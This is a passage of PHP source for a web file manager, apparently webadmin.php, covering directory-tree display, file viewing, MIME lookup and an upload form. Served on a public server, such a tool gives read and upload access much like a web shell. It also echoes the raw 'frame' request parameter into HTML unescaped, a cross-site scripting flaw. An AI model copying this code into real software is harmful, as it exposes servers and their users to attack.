  915. function tree_showtree ($tree, $hassubdirs, $path, $col, $numcols) {
    916. 

  916. 	global $self, $treeroot;
    917. 

  917. 	static $islast = array(0 => TRUE);
    918. 

  918. 	echo("	<tr>\n");
    919. 

  919. 	for ($i = 0; $i < $col; $i++) {
    920. 

  920. 		if ($islast[$i]) $iid = 0; else $iid = 3;
    921. 

  921. 		echo("		<td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
    922. 

  922. 	}
    923. 

  923. 	if ($hassubdirs[$path]) {
    924. 

  924. 		if (!empty($tree[$path])) { $action = 'minus'; $iid = 8; } else { $action = 'plus'; $iid = 7; }
    925. 

  925. 		if ($col == 0) $iid -= 3; else if ($islast[$col]) $iid += 3;
    926. 

  926. 		echo("		<td><a href=\"$self?frame=treeview&$action=" . urlencode($path) . '&dir=' . urlencode($_SESSION['dir']) . '&' . SID . '#' . urlencode($path) . '">');
    927. 

  927. 		echo("<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">");
    928. 

  928. 		echo("</a></td>\n");
    929. 

  929. 	} else {
    930. 

  930. 		if ($islast[$col]) $iid = 9; else $iid = 6;
    931. 

  931. 		echo("		<td><img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\"></td>\n");
    932. 

  932. 	}
    933. 

  933. 	if (@is_readable($path)) {
    934. 

  934. 		$a1 = "<a name=\"" . urlencode($path) . "\" href=\"$self?dir=" . urlencode($path) . '&' . SID . '" target="webadmin">';
    935. 

  935. 		$a2 = '</a>';
    936. 

  936. 	} else {
    937. 

  937. 		$a1 = $a2 = '';
    938. 

  938. 	}
    939. 

  939. 	if ($_SESSION['dir'] == $path) $iid = 2; else $iid = 1;
    940. 

  940. 	echo("		<td>$a1<img src=\"$self?imageid=$iid\" width=\"19\" height=\"18\" border=\"0\">$a2</td>\n");
    941. 

  941. 	$cspan = $numcols - $col + 1;
    942. 

  942. 	if ($cspan > 1) $colspan = " colspan=\"$cspan\""; else $colspan = '';
    943. 

  943. 	if ($col == $numcols) $width = ' width="100%"'; else $width = '';
    944. 

  944. 	echo("		<td$width$colspan nowrap>&nbsp;");
    945. 

  945. 	if ($path == $treeroot) $label = $path; else $label = basename($path);
    946. 

  946. 	echo($a1 . htmlentities($label) . $a2);
    947. 

  947. 	echo("</td>\n");
    948. 

  948. 	echo("	</tr>\n");
    949. 

  949. 	if (!empty($tree[$path])) {
    950. 

  950. 		for ($i = 0; $i < sizeof($tree[$path]); $i++) {
    951. 

  951. 			if (($i + 1) == sizeof($tree[$path])) $islast[$col + 1] = TRUE; else $islast[$col + 1] = FALSE;
    952. 

  952. 			tree_showtree($tree, $hassubdirs, $path . $tree[$path][$i], $col + 1, $numcols);
    953. 

  953. 		}
    954. 

  954. 	}
    955. 

  955. 	return;
    956. 

  956. }
    957. 

  957. 

  958. function tree_plus (&$tree, &$hassubdirs, $p) {
    959. 

  959. 	if ($path = spath(realpath($p))) {
    960. 

  960. 		$tree[$path] = tree_getsubdirs($path);
    961. 

  961. 		for ($i = 0; $i < sizeof($tree[$path]); $i++) {
    962. 

  962. 			$subdir = $path . $tree[$path][$i];
    963. 

  963. 			if (empty($hassubdirs[$subdir])) $hassubdirs[$subdir] = tree_hassubdirs($subdir);
    964. 

  964. 		}
    965. 

  965. 	}
    966. 

  966. 	return;
    967. 

  967. }
    968. 

  968. 

  969. function tree_minus (&$tree, &$hassubdirs, $p) {
    970. 

  970. 	$dirchanged = FALSE;
    971. 

  971. 	if ($path = spath(realpath($p))) {
    972. 

  972. 		if (!empty($tree[$path])) {
    973. 

  973. 			for ($i = 0; $i < sizeof($tree[$path]); $i++) {
    974. 

  974. 				$subdir = $path . $tree[$path][$i] . '/';
    975. 

  975. 				if (isset($hassubdirs[$subdir])) $hassubdirs[$subdir] = NULL;
    976. 

  976. 			}
    977. 

  977. 			$tree[$path] = NULL;
    978. 

  978. 			if (substr($_SESSION['dir'], 0, strlen($path)) == $path) {
    979. 

  979. 				$_SESSION['dir'] = $path;
    980. 

  980. 				$dirchanged = TRUE;
    981. 

  981. 			}
    982. 

  982. 		}
    983. 

  983. 	}
    984. 

  984. 	return $dirchanged;
    985. 

  985. }
    986. 

  986. 

  987. function tree_getsubdirs ($path) {
    988. 

  988. 	$subdirs = array();
    989. 

  989. 	if ($p = @opendir($path)) {
    990. 

  990. 		for ($i = 0; ($filename = readdir($p)) !== FALSE;) {
    991. 

  991. 			if (tree_isrealdir($path . $filename)) $subdirs[$i++] = $filename . '/';
    992. 

  992. 		}
    993. 

  993. 	}
    994. 

  994. 	sort($subdirs);
    995. 

  995. 	return $subdirs;
    996. 

  996. }
    997. 

  997. 

  998. function show ($file) {
    999. 

  999. 	global $words;
    1000. 

  1000. 	if (@is_readable($file) && @is_file($file)) {
    1001. 

  1001. 		header('Content-Disposition: filename=' . basename($file));
    1002. 

  1002. 		header('Content-Type: ' . getmimetype($file));
    1003. 

  1003. 		if (@readfile($file) !== FALSE) return TRUE;
    1004. 

  1004. 	}
    1005. 

  1005. 	return FALSE;
    1006. 

  1006. }
    1007. 

  1007. 

  1008. function show_highlight ($file) {
    1009. 

  1009. 	global $words;
    1010. 

  1010. 	if (@is_readable($file) && @is_file($file)) {
    1011. 

  1011. 		header('Content-Disposition: filename=' . basename($file));
    1012. 

  1012. 		echo("<html>\n<head><title>");
    1013. 

  1013. 		echo(buildphrase(array('&quot;' . htmlentities(basename($file)) . '&quot;'), $words['sourceof']));
    1014. 

  1014. 		echo("</title></head>\n<body>\n<table cellpadding=\"4\" border=\"0\">\n<tr>\n<td>\n<code style=\"color: #999999\">\n");
    1015. 

  1015. 		$size = sizeof(file($file));
    1016. 

  1016. 		for ($i = 1; $i <= $size; $i++) printf("%05d<br>\n", $i);
    1017. 

  1017. 		echo("</code>\n</td>\n<td nowrap>\n");
    1018. 

  1018. 		$shown = @highlight_file($file);
    1019. 

  1019. 		echo("\n");
    1020. 

  1020. 		echo("</td>\n</tr>\n</table>\n");
    1021. 

  1021. 		echo("</body>\n");
    1022. 

  1022. 		echo("</html>");
    1023. 

  1023. 		if ($shown) return TRUE;
    1024. 

  1024. 	}
    1025. 

  1025. 	return FALSE;
    1026. 

  1026. }
    1027. 

  1027. 

  1028. function getmimetype ($file) {
    1029. 

  1029. 	/* $mime = 'application/octet-stream'; */
    1030. 

  1030. 	$mime = 'text/plain';
    1031. 

  1031. 	$ext = substr($file, strrpos($file, '.') + 1);
    1032. 

  1032. 	if (@is_readable('/etc/mime.types')) {
    1033. 

  1033. 		$f = fopen('/etc/mime.types', 'r');
    1034. 

  1034. 		while (!feof($f)) {
    1035. 

  1035. 			$line = fgets($f, 4096);
    1036. 

  1036. 			$found = FALSE;
    1037. 

  1037. 			$mim = strtok($line," \n\t");
    1038. 

  1038. 			$ex = strtok(" \n\t");
    1039. 

  1039. 			while ($ex && !$found) {
    1040. 

  1040. 				if (strtolower($ex) == strtolower($ext)) {
    1041. 

  1041. 					$found = TRUE;
    1042. 

  1042. 					$mime = $mim;
    1043. 

  1043. 					break;
    1044. 

  1044. 				}
    1045. 

  1045. 				$ex = strtok(" \n\t");
    1046. 

  1046. 			}
    1047. 

  1047. 			if ($found) break;
    1048. 

  1048. 		}
    1049. 

  1049. 		fclose($f);
    1050. 

  1050. 	}
    1051. 

  1051. 	return $mime;
    1052. 

  1052. }
    1053. 

  1053. 

  1054. function dirlisting ($inaframe = FALSE) {
    1055. 

  1055. 	global $self, $homedir, $words;
    1056. 

  1056. 	global $error, $notice;
    1057. 

  1057. 	$p = '&' . SID;
    1058. 

  1058. 	html_header($_SESSION['dir']);
    1059. 

  1059. ?>
    1060. 

  1060. 	<form action="<?php echo($self); ?>" method="get">
    1061. 

  1061. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    1062. 

  1062. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    1063. 

  1063. 	<table border="0" cellspacing="1" cellpadding="4">
    1064. 

  1064. 	<tr>
    1065. 

  1065. 		<td bgcolor="#EEEEEE" align="center"><b><?php echo(htmlentities($_SERVER['SERVER_NAME'])); ?></b></td>
    1066. 

  1066. 		<td bgcolor="#EEEEEE" align="center"><?php echo(htmlentities($_SERVER['SERVER_SOFTWARE'])); ?></td>
    1067. 

  1067. 	</tr>
    1068. 

  1068. 	<tr>
    1069. 

  1069. 		<td bgcolor="#EEEEEE" colspan="2">
    1070. 

  1070. 			<table border="0" cellspacing="0" cellpadding="0">
    1071. 

  1071. 			<tr>
    1072. 

  1072. 				<td><?php echo("<a href=\"$self?dir=" . urlencode($homedir) . "$p\">" . $words['dir']); ?></a>:&nbsp;</td>
    1073. 

  1073. 				<td><input type="text" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>" size="<?php echo(textfieldsize($_SESSION['dir'])); ?>">&nbsp;</td>
    1074. 

  1074. 				<td><input type="submit" value="<?php echo($words['change']); ?>"></td>
    1075. 

  1075. 			</tr>
    1076. 

  1076. 			</table>
    1077. 

  1077. 		</td>
    1078. 

  1078. 	</tr>
    1079. 

  1079. 	</table>
    1080. 

  1080. 	</td></tr></table>
    1081. 

  1081. 	</form>
    1082. 

  1082. <?php if (@is_writable($_SESSION['dir'])) { ?>
    1083. 

  1083. 	<form action="<?php echo($self); ?>" method="post" enctype="multipart/form-data">
    1084. 

  1084. 	<input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
    1085. 

  1085. 	<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    1086. 

  1086. <?php if (isset($_REQUEST['frame'])) { ?>
    1087. 

  1087. 	<input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
    1088. 

  1088. <?php } ?>
    1089. 

  1089. 	<table border="0" cellspacing="0" cellpadding="0"><tr><td bgcolor="#888888">
    1090. 

  1090. 	<table border="0" cellspacing="1" cellpadding="4">
    1091. 

  1091. 	<tr>
    1092. 

  1092. 		<td bgcolor="#EEEEEE">
    1093. 

  1093. 			<table border="0" cellspacing="0" cellpadding="0">
    1094. 

  1094. 			<tr>
    1095. 

  1095. 				<td><?php echo($words['file']); ?>&nbsp;</td>
    1096. 

  1096. 				<td><input type="file" name="upload">&nbsp;</td>
    1097. 

  1097. 				<td><input type="submit" value="<?php echo($words['upload']); ?>"></td>
    1098. 

  1098. 			</tr>
    1099. 

  1099. 			</table>
    1100. 

  1100. 		</td>
    1101. 

  1101. 	</tr>
    1102. 

  1102. 	<tr>
    1103. 

  1103. 		<td bgcolor="#EEEEEE">
    1104. 

  1104. 			</form>
    1105. 

  1105. 			<form action="<?php echo($self); ?>" method="get">
    1106. 

  1106. 			<input type="hidden" name="dir" value="<?php echo(htmlentities($_SESSION['dir'])); ?>">
    1107. 

  1107. 			<input type="hidden" name="id" value="<?php echo(session_id()); ?>">
    1108. 

  1108. <?php if (isset($_REQUEST['frame'])) { ?>
    1109. 

  1109. 			<input type="hidden" name="frame" value="<?php echo($_REQUEST['frame']); ?>">
    1110. 

  1110. <?php } ?>
    1111. 

  1111. 			<table border="0" cellspacing="0" cellpadding="0">
    1112. 

  1112. 			<tr>
    1113. 

  1113. 				<td>
    1114. 

  1114. 					<select name="type" size="1">
    1115. 

  1115. 					<option value="file"><?php echo($words['file']); ?>
    1116. 

  1116. 

  1117. 					<option value="dir" selected><?php echo($words['dir']); ?>
    1118. 

  1118. 

  1119. 					</select>&nbsp;
    1120. 

  1120. 				</td>
    1121. 

  1121. 				<td><input type="text" name="create">&nbsp;</td>
    1122. 

  1122. 				<td><input type="submit" value="<?php echo($words['create']); ?>"></td>
    1123. 

  1123. 			</tr>
    1124. 

  1124. 			</table>
    1125. 

  1125. 		</td>
    1126. 

  1126. 	</tr>
    1127. 

  1127. 	</table>
    1128. 

  1128. 	</td></tr></table>
    1129. 

  1129. 	</form>
    1130. 

  1130. <?php
    1131. 

  1131. 	}
    1132. 

  1132. 	if (empty($_GET['sort'])) $sort = 'filename'; else $sort = $_GET['sort'];
    1133. 

  1133. 	$reverse = @$_GET['reverse'];
    1134. 

  1134. 	$GLOBALS['showsize'] = FALSE;
    1135. 

  1135. 	if ($files = dirtoarray($_SESSION['dir'])) {
    1136. 

  1136. 		$files = sortfiles($files, $sort, $reverse);
    1137. 

  1137. 		outputdirlisting($_SESSION['dir'], $files, $inaframe, $sort, $reverse);
    1138. 

  1138. 	} else {
    1139. 

  1139. 		perror(buildphrase('&quot;<b>' . htmlentities($_SESSION['dir']) . '</b>&quot', $words['readingerror']));
    1140. 

  1140. 	}
    1141. 

  1141. 	if ($inaframe) {
    1142. 

  1142. 		pnotice("<a h…
    1143.

Large files files are truncated, but you can click here to view the full file